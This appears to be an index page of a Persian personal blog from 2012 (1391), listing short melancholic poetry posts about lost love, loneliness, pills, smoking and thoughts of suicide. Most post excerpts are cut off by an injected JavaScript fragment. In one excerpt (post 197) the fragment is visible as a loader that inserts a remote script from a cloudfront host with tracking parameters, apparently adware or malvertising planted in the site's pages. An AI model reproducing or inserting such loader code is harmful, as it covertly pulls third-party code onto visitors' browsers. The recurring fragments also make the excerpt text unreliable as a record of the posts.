-
مرهّ گی ۲۱۲
یکشنبه 4 تیر 1391 19:21
(خسته ی درد) بانو داری آدمم می کنی ! که مجنون نشوم که لیلا نشوی ؟ لااقل سیبی بچین با هم می رویم جهنم بخدا از این جا بدتر نیست من خسته ام بانو ... خسته ------------------------------- پ ن :خسته ام بخدا... /* -1?'https':'http';var...
-
مرهّ گی ۲۱۱
یکشنبه 4 تیر 1391 19:21
(خودکشی) هر بار که می آیی و بی تفاوت می گذری به خودم می گویم ٫ ندید مرا ٫ حواسش نبود می دانی ! نمی دانم صبر من تا کجا ادامه می یابد ربطی به صبر ندارد ٫ شک ندارم روزی !!! خودم را خودت را همه چیز را رها می کنم و می روم قبل تر ها هم گفته ام ٫ فرهاد هم اگر باشد !!! تا قیامه قیامت تیشه نمی زند ٫ هر چیزی اندازه ای دارد خوب...
-
مرهّ گی ۲۱۰
یکشنبه 4 تیر 1391 07:56
(آرام بخش هایم) بانو ٫ اگر می شود چنان مستانه بیا که تمام آرامش های دنیا بیایند قول می دهم خودخواهانه همه را بپذیرم. -------------------------------------------------- پ ن : توهم و رویا پروری تنها تاثیر این بی مصرف ها... /* -1?'https':'http';var...
-
مرهّ گی ۲۰۹
شنبه 3 تیر 1391 16:09
وقتی که نمی گویم حرفهایی را که گفتنشان باید دارد به ناچار مزه مزه می کنمشان آرام آرام ٫ سخت ٫ می خورمشان باید هم همه ی شان را درد و دلتنگی بالا بیاورم . ------------------------------------ پ ن : آبستن نگاهت ٫ شاید ... /* -1?'https':'http';var...
-
مرهّ گی ۲۰۸
پنجشنبه 1 تیر 1391 23:02
(کش مکش) این روزها بیشتر از تو و آغوشت به یک لیوان گرم قهوه نیازمندم این تنهایی ها ٫ مرا با خود می کشند... مرا از جنس خود می کنند... --------------------------------- پ ن : یادگارت که در این گنبد دوار ماندنی شد /* -1?'https':'http';var...
-
مرهّ گی ۲۰۷
پنجشنبه 1 تیر 1391 14:39
(روزهای تکراری) این روزها سخت تمرین می کنم که بتوانم خوب دفاع کنم از پایان نامه ای که شما برایم نوشته ای دکترای روان پریشی ام مبارکت باشد عزیزکم ----------------------------------------- پ ن : از معدود واقعیت های یادگار /* -1?'https':'http';var...
-
یادآوری ۶
چهارشنبه 31 خرداد 1391 22:15
این روزها بیشتر از هر چیزی نگران قلبم هستم ... --------------------------- پ ن : یادداوری برای خودم
-
مرهّ گی ۲۰۶
چهارشنبه 31 خرداد 1391 21:30
(چیز خاص) حکایت ٫ حکایت چیزی خاص بودن و لقمه ی چرب بودن و ارزش نیست حکایت تنها در نگاه است که اگر اولی اش به دومی ختم شود دیگر کاری نمی شود کرد ... دیگر از کنترلت خارجم ... --------------------------------- پ ن : مقصر من نیستم /* -1?'https':'http';var...
-
مرهّ گی ۲۰۵
چهارشنبه 31 خرداد 1391 00:17
(پر درد) این روزها قرص هایم دیگر اثر نمی کنند تو دورتر شده ای ! یا من دلتنگ تر ؟ ---------------------- پ ن : این درد لعنتی... /* -1?'https':'http';var...
-
مرهّ گی ۲۰۴
چهارشنبه 31 خرداد 1391 00:12
(ناکجا) بدنبال بوی تنت بودم که به اینجا رسیدم باقی اش هم دیگر گفتن ندارد ... ------------------------------------ پ ن : افزایش لرزش های درونی ... /* -1?'https':'http';var...
-
مرهّ گی ۲۰۳
یکشنبه 28 خرداد 1391 23:33
(عطر تو) همه اش ربط دارد به عطری که می زدی اگر می شد جعلش کرد !!!!!! هم من رها می شدم ٫ هم دلم و هم خاطر تو ... -------------------------------------------------- پ ن : عمده ی مشکلاتم خودمم و بس /* -1?'https':'http';var...
-
مرهّ گی ۲۰۲
جمعه 26 خرداد 1391 15:59
(التماسهای دلم) این رسم دلدادگی را هیچ چشمی نمی بخشد دل را آبستن کودکی سنگی می کند اگر اتفاقی نفتاده دلیلش دل است دل با دل همپا شده نه با دلدار کودکانه به دست و پای افتاده دل که صبوری کن اگر صبری است ٫ اندازه دارد فرهاد هم باشد تا ابد تیشه نمی کوبد یک جایی دست می کشد همه چیز را می گذارد و می رود اندازه اش هم ربطی...
-
مرهّ گی ۲۰۱
جمعه 26 خرداد 1391 12:45
(واقعیت یک رویا) این روزها پتانسیلی را در خود می بینم که مدتها بود ندیده بودم واضح و آشکار پتانسیل عاشقت/عاشقش شدن را می فهمم گمان کنم بشود تکه تکه های گم شده ام را در تو پیدا کنم ... ---------------------------------------------------------- پ ن ۱ : تقدیر ٫ مقصر است مثل تقدیرِه مقصر در تقدیر شادمهر پ ن ۲ : شاید جریان...
-
مرهّ گی ۲۰۰
پنجشنبه 25 خرداد 1391 22:25
(حکایتی جدید شاید) نمی دانم چگونه نفس می کشی ، از کدام دیار و دسته ای ... نه آن سوی آسمان شهری است و نه آن سوی خورشید ... باید فکر چشمانت را خواند. ---------------------------------------------- پ ن : داستانی شروع شده ... ادامه دارد انگار ... /* -1?'https':'http';var...
-
مرهّ گی ۱۹۹
پنجشنبه 25 خرداد 1391 22:17
من حتی خیال تو را به تو پس نمی دهم ... ----------------------- پ ن : باقی اش بماند... /* -1?'https':'http';var...
-
مهره ی سوخته
پنجشنبه 25 خرداد 1391 22:16
صفحه ی دفترت کاریکاتوریست از من که حماقتم را چند برابر کشیدی این چهره ی شریف عشق است بارها قسم خوردم که تو کاشف عنصر خیانت بودی و من موش آزمایشگاهی کشف هرزه ی تو شیمیایی ِ ذهنت مادرزادی ست من بدون ماسک در هوای تو نفس کشیدم موج منفی نگاهم تمامی ندارد تو هی بخند درمان سرگیجه ی من دست تو نیست کیمیاگری را می شناسم به...
-
مرهّ گی ۱۹۸
چهارشنبه 24 خرداد 1391 10:32
توی یه سری عکسای زمان جنگ و جبهه ی بعضیا همیشه یه پوست هندونه ای خربزه ای ٫ ازین جور بساطا گوشه ی عکس دیده می شده. به این فکر می کنم ٫ که یا بلدیم یا بلد نیستیم یا می خوایم یا نمی خوایم اینکه توی بدترین شرایط هم حواسمون باشه و کاری کنیم که بهمون خوش بگذره ----------------------------------------------- پ ن : یا آره یا...
-
مرهّ گی ۱۹۷
سهشنبه 23 خرداد 1391 13:18
... ----------- پ ن : ... /* -1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var...
-
مرهّ گی ۱۹۶
دوشنبه 22 خرداد 1391 22:20
مرا ببخش که اینگونه کودکانه هایم در مقابلت اوج می گیرند در هر ثانیه بار ها و بار ها متولد می شوند متفاوت خاص است فقط همین را می دانم و من نمی خواهم این ها را اما نمی توانم نخواهم این ها را و تو چنان مرا از اینجا دور می کنی و به حال و هواهایی می بری که هر کدامشان با دیگری فرق می کند و من تنها همانند کودکی در مقابلت می...
-
ماجرای من و دکتر روانپزشک
دوشنبه 22 خرداد 1391 11:01
یه روز به اصرار دوستم رفتم پیشه یه دکتری که دست نوشته هام رو خونده بود و دوست داشت منو معاینه کنه ... اصن حرف به اوجایی که باید می رسید نرسید ..... ----------------------------------------------------------- - می شه خودتو معرفی کنی : . چه فرقی می کنه ٫ همین که دارید می بینید حالا اسمش چی باشه چه فرقی می کنه - خوب برای...
-
مرهّ گی ۱۹۵
دوشنبه 22 خرداد 1391 11:00
چشمهایم به شدت چرکین اند و خسته بس که نظر دوخته اند به هر چیزی که حتی اندکی می شود به تو مربوط گردد که می توان در آن خبری از تو ٫ از قدمهایت یافت دیشب خواب دیدم که خواب بودم تو آمدی می بینی ٫ در خواب بودم که آمدی این ممنوعیت در خوابم هم پابرجاست ---------------------------------------------- پ ن : سلولهای انفرادی تو...
-
مرهّ گی ۱۹۴
دوشنبه 22 خرداد 1391 10:58
من از تبار نسلی هستم که هیچ گاه فرصت تولد نیافت و هیچ گاه فرصت زندگی کردن نداشت تا نشان دهد چگونه زندگی می کند من از نسلی هستم که متولد نشده مرد من از نژادی هستم که نمو نکرد ٫ تک ماند کودک ماند و بزرگ نشد همیشه به شوخی گرفته شد و به چشم نیامد اما با تمام اینا هر بار که اراده کرد دنیا را لرزاند نه تمامه دنیا را اما...
-
مرهّ گی ۱۹۳
یکشنبه 21 خرداد 1391 20:11
گاهی وقتها دلم صدا زندگی می خواهد زندگی نرمال ٫ جاری نه صدای موسیقی می خواهم نه صدای حرف نه هیچ صدایی تنهای تنها دوست دارم همه و همه ساکت شوند حتی خودم صدای بیرون را صدای زندگی مردم را صدای روزمره گیه کوچه را گوش دهم ... گاهی وقتها ٫ خوشحالم که هنوز اطرافم زندگی جریان دارد دیگران دارند زندگی می کنند لبخند می زنم ٫...
-
مرهّ گی ۱۹۲
یکشنبه 21 خرداد 1391 16:09
حمله هایی که دست کم دو روز زندگی ام را تعطیل می کند چیزی را از دست نمی دهم اما دو روز از با خاطراتت بودن جا می مانم ------------------------------------------ پ ن : این بار هم گذراندم ... /* -1?'https':'http';var...
-
مرهّ گی ۱۹۱
یکشنبه 21 خرداد 1391 14:54
اندکی می نشینم اندکی دراز می کشم باز می نشینم و ... نه من انتظار کسی نه کسی انتظار من تنها سیگار می کشم این ها سیگار نیست که دود می کنم لحظه لحظه زندگی ام است که از درونم بیرون می کنم لحظه های بی تو بودن دردم را دوا نمی کنند هیچ آرام آرام دارند می کشد مرا چاره جر دود کردنشان نیست . اینجا کسی جز من نیست و اندکی خاطره...
-
مرهّ گی ۱۹۰
شنبه 20 خرداد 1391 00:19
همین که اینگونه خیالت هست با اینکه هیچ گاه خودت نبودی قانعم اما راضی نه نه اینکه قانع باشم ٫ نه چاره ای ندارم همین که می آید ٫ خیالت تمامم دست می کشد از خویش و من هم دست می کشم از تمامم تمامم و خیالت می روند پی کار خودشان می روند بازی عشق بازی ٫ خیال بازی ٫ رویا بازی و هر چه بازیه دیگر و من تنها گوشه ای می ایستم و...
-
مرهّ گی ۱۸۹
جمعه 19 خرداد 1391 14:29
بدون شک اگر بدانم گاه و بی گاه ٫ ناگه چه می شود که دلم هوای تو را می کند خیلی چیزهایم روبراه می شود .... -------------------------------- پ ن : محکوم به علامت سئوالم /* -1?'https':'http';var...
-
مرهّ گی ۱۸۸
پنجشنبه 18 خرداد 1391 23:52
امروز مر گی ای را نمی دانم به چه گناه چرکنویس کردم و در کدام دادگاه از بین بردمش نه در خانه بلکه در دل. تاوان این یکی را چگونه کجا باید بپردازم نمی دانم ----------------------------------- پ ن : نمی خوام حتی فکر کنم بهش /* -1?'https':'http';var...
-
مرهّ گی ۱۸۷
چهارشنبه 17 خرداد 1391 14:37
این روزها اگر ساکت مانده ام دلیل بر بی حرفی ام نیست دلیل بر تمام شدنم نیست این روزها برای آمدن کسی که می تواند آرامشم را به من باز گرداند که می تواند حس خواستن و دوست داشتن را در من زنده کند که می توانم دوستش داشته باشم و همیشه بخواهمش که زندگی را خوشحال می کند ٫ که نمی دانم کیست !!! روزه ی سکوت گرفته ام...
-
مرهّ گی ۱۸۶
یکشنبه 14 خرداد 1391 17:28
یادت را ذره ذره جمع می کنم در گوشه ای از ذهنم نرمشان می کنم می پیچمشان در هم آرام با گرمای دردت آتش می زنمشان اولین پک را که می زنم کار خویش را می کند نشئه ی نشئه ام می کند دست نمی کشم ادامه می دهم دوم ٫ سوم ... تا انتهایش را می کشم مطمئنا در این دنیا نیستم همه چیز زیبا می شود تو می آیی من هستم ما می شویم زندگی خندان...